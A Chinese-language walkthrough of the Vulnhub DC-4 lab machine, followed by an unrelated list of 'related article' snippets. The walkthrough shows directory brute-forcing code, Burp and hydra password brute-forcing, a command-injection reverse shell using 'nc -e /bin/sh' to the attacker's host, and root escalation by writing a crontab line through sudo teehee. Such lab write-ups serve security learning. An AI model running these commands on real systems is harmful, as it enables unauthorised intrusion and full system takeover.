Vulnhub靶场案例渗透[5]- DC4
文章目录
- 1. 靶场搭建
- 2. 信息收集
- 2.1 确定靶机ip
- 2.2 主机信息收集
- 2.3 主机目录探测
- 3. 渗透过程
- 3.1 sql注入检测
- 3.2 burp爆破
- 3.3 反弹shell
- 3.4 提权
- 4. 总结
1. 靶场搭建
靶场源地址
检验下载文件的检验码,对比没问题使用vmware打开
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
2. 信息收集
2.1 确定靶机ip
根据虚拟机网络适配器模式,确定靶机所在网段。使用nmap进行网段存活主机,排除法确定靶机ip.
nmap -sn 192.168.6.100/24

通过排除法确定靶机ip为192.168.6.100
2.2 主机信息收集
通过nmap探测靶机开放端口和端口对应服务
nmap -Ap 1-65535 192.168.6.100

确定开放端口:
- 22:ssh服务
- 80: http服务
2.3 主机目录探测
import queue
import requests
import threading
import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://192.168.6.100"
THREADS = 8
WORDLIST = "./all.txt" words = queue.Queue """
读取字典文件,生成扫描内容
"""
def get_words(resume=None): words = queue.Queue() def extend_words(word): if "." in word: words.put(f"/{word}") else: words.put(f"/{word}/") # for extension in EXTENSIONS: # words.put(f"/{word}{extension}") with open(WORDLIST) as f: raw_words = f.read() found_resume = False for word in raw_words.split(): if resume is not None: if found_resume: extend_words(word) elif word == resume: found_resume = True else: extend_words(word) return words """
暴力扫描
"""
def dir_bruter(words): headers = {"User-Agent":AGENT} session = requests.Session() session.verify = False session.get(TARGET, headers = headers) while not words.empty(): url = f"{TARGET}{words.get()}" try: r = session.get(url) except requests.exceptions.ConnectionError as e: # print(e) continue if r.status_code != 404: print(url) if __name__ == "__main__": words = get_words() for _ in range(THREADS): t = threading.Thread(target=dir_bruter, args=(words,)) t.start()

3. 渗透过程
3.1 sql注入检测
访问web页面,发现只有一个登录界面.

尝试使用sqlmap进行sql注入点检测,发现不存在注入点。
sqlmap -u "http://192.168.6.100/login.php?username=admin&password=admin"
3.2 burp爆破
尝试使用burp进行弱密码爆破,由于账号和密码都不知道使用cluster boomb模式,选择爆破字典。
各种攻击模式的区别:
- 【sinper】:对单一参数进行密码爆破
- 【battering ram】:对所有参数进行同一个变量爆破(如用户名和密码一样)
- 【pitchfork】:对所有参数进行一一对应爆破,传递两个参数两个字典,一一对应。
- 【cluster bomb】:对参数进行交叉爆破,常用用于不知道账号密码的情况


爆破成功,账号为admin,密码为happy,成功登录

3.3 反弹shell
发现网站存在功能可以直接让服务器直接前端请求执行的命令。修改请求包命令,进行反弹shell。

使用burp将请求拦截将参数radio改为
nc -e /bin/sh 192.168.6.101 8888,kali使用nc进行监听
# 开启监听
nc -lvp 8888


反弹shell成功
# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'
3.4 提权
使用SUID进行提权
# 获取设置suid的文件
find / -type f -perm -4000 2>/dev/null

发现/home/jim/test.sh文件,使用ls查看文件权限设置。查看文件内容之后,发现无法利用这个文件切换到jim用户.设置suid的文件在发生变更时,suid标志会被撤销,无果。
ls -l /home/jim/test.sh

尝试过sudo提权、搜索内核版本漏洞、crontab定时任务、/etc/passwd也没有发现利用的点。转变思路,在系统中查看是否有可利用的文件。

在jim目录下找到jim的旧密码记录文件,尝试进行ssh爆破。成功获取到密码
jibril04.使用ssh成功登录。
# 使用hydra进行爆破
hydra -l jim -P dc4.txt ssh://192.168.6.100:22


发现有一个邮件,查看cat /var/mail/jim获取邮件,获取到charles的密码,切换用户

切换用户之后继续尝试sudo提权,发现存在/usr/bin/teehee被设置为无密码使用。
# 获取teehee的帮助信息,了解这个命令
teehee --help
teehee是将标准输入写入到某个文件中的一个命令。
我们可以利用这个命令去写入一个定时任务,将/bin/bash权限设置为4777。
echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab
接下来执行/bin/bash,发现并没有提权,猜测受到环境变量或者配置文件的限制。采用
/bin/bash -p进行尝试,-p参数使用保护模式启动,保护模式下会忽略一些环境变量和配置文件,成功提权。

成功获取flag

4. 总结
本次靶场利用到的技能:
- namp进行信息收集
- burp suite利用字典进行账号密码爆破,篡改发送包参数。
- hydra进行ssh字典密码爆破
- sudo配合定时任务提权。
相关文章:
Vulnhub靶场案例渗透[5]- DC4
文章目录 1. 靶场搭建2. 信息收集2.1 确定靶机ip2.2 主机信息收集2.3 主机目录探测 3. 渗透过程3.1 sql注入检测3.2 burp爆破3.3 反弹shell3.4 提权 4. 总结 1. 靶场搭建 靶场源地址 检验下载文件的检验码,对比没问题使用vmware打开 # windwos 命令 Get-FileHash …...
http协议概述与状态码
目录 1.HTTP概述 1.1请求报文起始行与开头 1.2响应报文起始行 1.3响应报文开头 2.http状态协议码 1.HTTP概述 默认端口 80 HTTP超文本传输与协议: 数据请求和响应 传输:将网站的数据传递给用户 超文本:图片 视频等 请求request:打开网站 访问网站 响应r…...
Golang 进阶5—— 反射
Golang 进阶5—— 反射 注意,该文档只适合有编程基础的同学,这里的go教程只给出有区别的知识点 反射: 反射可以在运行时动态获取变量的各种信息, 比如变量的类型、 类别等信息。如果是结构体变量,还可以获取结构体本…...
react 封装防抖
封装防抖 import React, { useRef, useEffect, useCallback } from react;function useDebounce(fn, delay) {const delayRef useRef(delay);const fnRef useRef(fn);// 更新ref值useEffect(() > {delayRef.current delay;}, [delay]);useEffect(() > {fnRef.current…...
Java项目-----图形验证码登陆实现
原理: 验证码在前端显示,但是是在后端生成, 将生成的验证码存入redis,待登录时,前端提交验证码,与后端生成的验证码比较. 详细解释: 图形验证码的原理(如下图代码).前端发起获取验证码的请求后, 1 后端接收请求,生成一个键key(随机的键) 然后生成一个验证码作为map的valu…...
【网络代理模块】反向代理(上)
1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求,然后将请求转发给内部网络上的服务器,将从服务器上得到的结果返回给客户端,此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说,反向代理就相当…...
2-112基于matlab的协同干扰功率分配模型
基于matlab的协同干扰功率分配模型,带操作界面的功率分配GUI,可以实现对已有功率的分配优化,可以手动输入参数值。4个干扰山区分二批总干扰功率,每个扇区包括威胁总系数、综合压制概率、目标函数增量等。程序已调通,可…...
数据结构之——二叉树
一、二叉树的基本概念 二叉树是数据结构中的重要概念,每个节点最多有两个子树,分别为左子树和右子树。这种结构具有明确的层次性和特定的性质。 二叉树有五种基本形态: 空二叉树:没有任何节点。只有一个根结点的二叉树ÿ…...
多层感知机(MLP)实现考勤预测二分类任务(sklearn)
1、基础应用: https://blog.csdn.net/qq_36158230/article/details/118670801 多层感知机(MLP)实现考勤预测二分类任务(sklearn) 2、分类器参数:https://scikit-learn.org/dev/modules/generated/sklearn.neural_network.MLPClassifier.html 3、损失函数…...
文件与目录的基本操作
前提:使用su root 切换到权限最大的root用户 1.显示当前工作目录的绝对路径(pwd) 用途:用于显示当前工作目录的绝对路径的命令。无论用户在文件系统的哪个位置,pwd 命令都能提供当前所在位置的完整路径信息。 用法&a…...
Python入门笔记(三)
文章目录 第八章 字典dict8.1 创建字典:{}、dict()、字典生成式、zip()8.2 获取键对应的值:get()8.3 in, not in判断键是否在字典中8.4 增加键值对:fromkeys()、setdefault()、update()8.5 删除键值对:del语句、clear(…...
PostgreSQL 任意命令执行漏洞(CVE-2019-9193)
记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。 使用靶机复现攻击过程。 过程 在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1 随后连接进PostgreSql …...
使用tgz包下载安装clickhouse低版本
1.下载安装包 官方下载地址:https://packages.clickhouse.com/tgz/stable 阿里云下载地址:clickhouse-tgz-stable安装包下载_开源镜像站-阿里云 共需要下载四个文件 clickhouse-common-static-20.3.10.75.tgz clickhouse-common-static-dbg-20.3.10.7…...
外包功能测试干了6个月,技术退步太明显了。。。。。
先说一下自己的情况,本科生,23年通过校招进入武汉某软件公司,干了差不多6个月的功能测试,今年中秋,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我就在一个外包企业干了6个月的功…...
动态规划和贪心算法
目录 动态规划和贪心算法 动态规划 贪心算法 两者之间的区别 动态规划和贪心算法 是两种经典的算法设计策略,它们各自具有独特的特点和适用场景。 动态规划 动态规划是一种将复杂问题分解为更简单子问题的求解方法。它特别适用于那些具有重叠子问题和最优子结构特性的问…...
python爬虫--tx动漫完整信息抓取
python爬虫--tx动漫完整信息抓取 一、采集主页信息二、采集详情页信息三、完整代码一、采集主页信息 先看一下采集到的信息,结果保存为csv文件: 打开开发者工具,找到数据接口。 使用xpath提取详情页url。 二、采集详情页信息 如上图所示,使用xpath提取详情页的标题、作…...
《使用Java做爬虫和使用python做爬虫哪个好》
使用Java做爬虫和使用python做爬虫哪个好 Java 和 Python 都是非常出色的编程语言,在爬虫领域各有其优势,具体使用哪种语言更好取决于多种因素: 一、开发效率 1. Python Python 以其简洁、易读的语法而闻名。在爬虫开发中,有许…...
如果我想开发一个APP,需要准备哪些材料呢
开发一个APP需要准备的材料相对复杂,涵盖了公司资质、技术资源、支付接口以及第三方服务等多个方面。以下是一份详细的材料清单: 一、公司资质证明 营业执照:需要提供公司的营业执照副本,用于申请企业支付、域名备案、APP上架及…...
告别论文初稿焦虑!ChatGPT让你轻松完成写作!
AIPaperGPT,论文写作神器~ https://www.aipapergpt.com/ 在面对繁琐的论文写作时,很多人都会遇到无从下手的困惑,尤其是论文初稿阶段,往往需要大量的时间来组织思路和编写内容。然而,随着AI技术的发展,像…...
mongodb 数据迁移,亲测成功!
mysql进行数据迁移,最简单的不过是导出sql,然后在运行sql,数据也自然迁移过去了。 可是mongodb里,我们存储的是文件,是怎么做到的呢,当我在翻阅网上博客的时候,并没有发现有这方面的顾虑。 当…...
LangGraph 工作流实战:Few-Shot提示赋能大模型精准调用自定义计算工具
1. 为什么需要Few-Shot提示赋能工具调用? 大模型在通用任务上表现惊艳,但遇到需要精确调用自定义工具的场景时,常常会出现"知道但不会用"的情况。比如让GPT-4计算"3172531284724",它可能直接输出错误答案而非…...
告别特征工程:用Python+Matplotlib把EEG脑电信号直接变成CNN能吃的时频图
从原始EEG到CNN输入:Python自动化生成时频图全流程解析 深夜的实验室里,显示器上跳动的脑电波形正被转化为一张张彩色图像——这不是科幻场景,而是现代脑机接口研究的日常。传统EEG分析中繁琐的特征工程正在被一种更直观的方法取代࿱…...
工业现场的空压机监控总得整点活吧?今天咱们拿MCGS6.2搞个仿真系统,带曲线报警和报表那种。直接上干货,先开工程建个空压机模型
空压机mcgs6.2仿真,带曲线报警和报表界面在设备窗口拖个模拟设备,配四个关键变量:出口压力(0-1.6MPa)、运行温度(0-120℃)、电机电流(0-50A)、运行状态(0/1&a…...
Elasticsearch-03-kNN算法
Elasticsearch-03-kNN算法详解 概述 Elasticsearch提供了强大的k近邻(k-Nearest Neighbors, kNN)搜索功能,支持两种实现方式:暴力搜索和近似搜索。本文档将详细介绍这两种kNN算法的原理、优缺点和适用场景。 1. 暴力搜索ÿ…...
APT41 (Barium) 的演进:从游戏行业到供应链攻击的AI应用
前言 1. 技术背景 —— 这个技术在攻防体系中的位置 高级持续性威胁 (Advanced Persistent Threat, APT) 是网络攻防体系金字塔的顶端。它并非指某种单一技术,而是一个复杂的、有组织的、长期的网络攻击活动集合。在整个攻防图谱中,APT代表着最高级别的对…...
如何用RSPrompter提升遥感图像分割效果?基于SAM的实战技巧分享
如何用RSPrompter提升遥感图像分割效果?基于SAM的实战技巧分享 遥感图像分割一直是计算机视觉领域的难点之一。传统方法往往需要大量标注数据,而标注成本高昂,尤其是对于高分辨率遥感影像。2023年Meta发布的Segment Anything Model(SAM)展现了…...
【机器人路径规划】基于6种最新算法(小龙虾优化算法COA、MSA、RTH、NOA、BFO、SWO)求解机器人路径规划研究附Matlab代码
✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…...
7-Zip ZS:六种压缩算法如何彻底改变你的文件处理体验
7-Zip ZS:六种压缩算法如何彻底改变你的文件处理体验 【免费下载链接】7-Zip-zstd 7-Zip with support for Brotli, Fast-LZMA2, Lizard, LZ4, LZ5 and Zstandard 项目地址: https://gitcode.com/gh_mirrors/7z/7-Zip-zstd 在数字时代,文件压缩已…...
告别臃肿OS!手把手教你将Zephyr蓝牙协议栈移植到资源受限MCU(基于Polling轮询架构)
从零构建极简蓝牙协议栈:Zephyr Polling架构在资源受限MCU的实战指南 当智能手环的PCB面积被压缩到硬币大小,当电子价签需要依靠纽扣电池运行三年,传统蓝牙协议栈的"豪华配置"突然成了奢侈品。在深圳华强北的某个研发实验室里&…...
cobalt家谱研究者助手:家族历史与档案管理方案
cobalt家谱研究者助手:家族历史与档案管理方案 引言:家谱研究的数字时代痛点与解决方案 你是否还在为散乱的家族史料整理而困扰?是否经历过珍贵的口述历史随时间流逝而湮灭?cobalt家谱研究者助手(家族历史与档案管理方…...
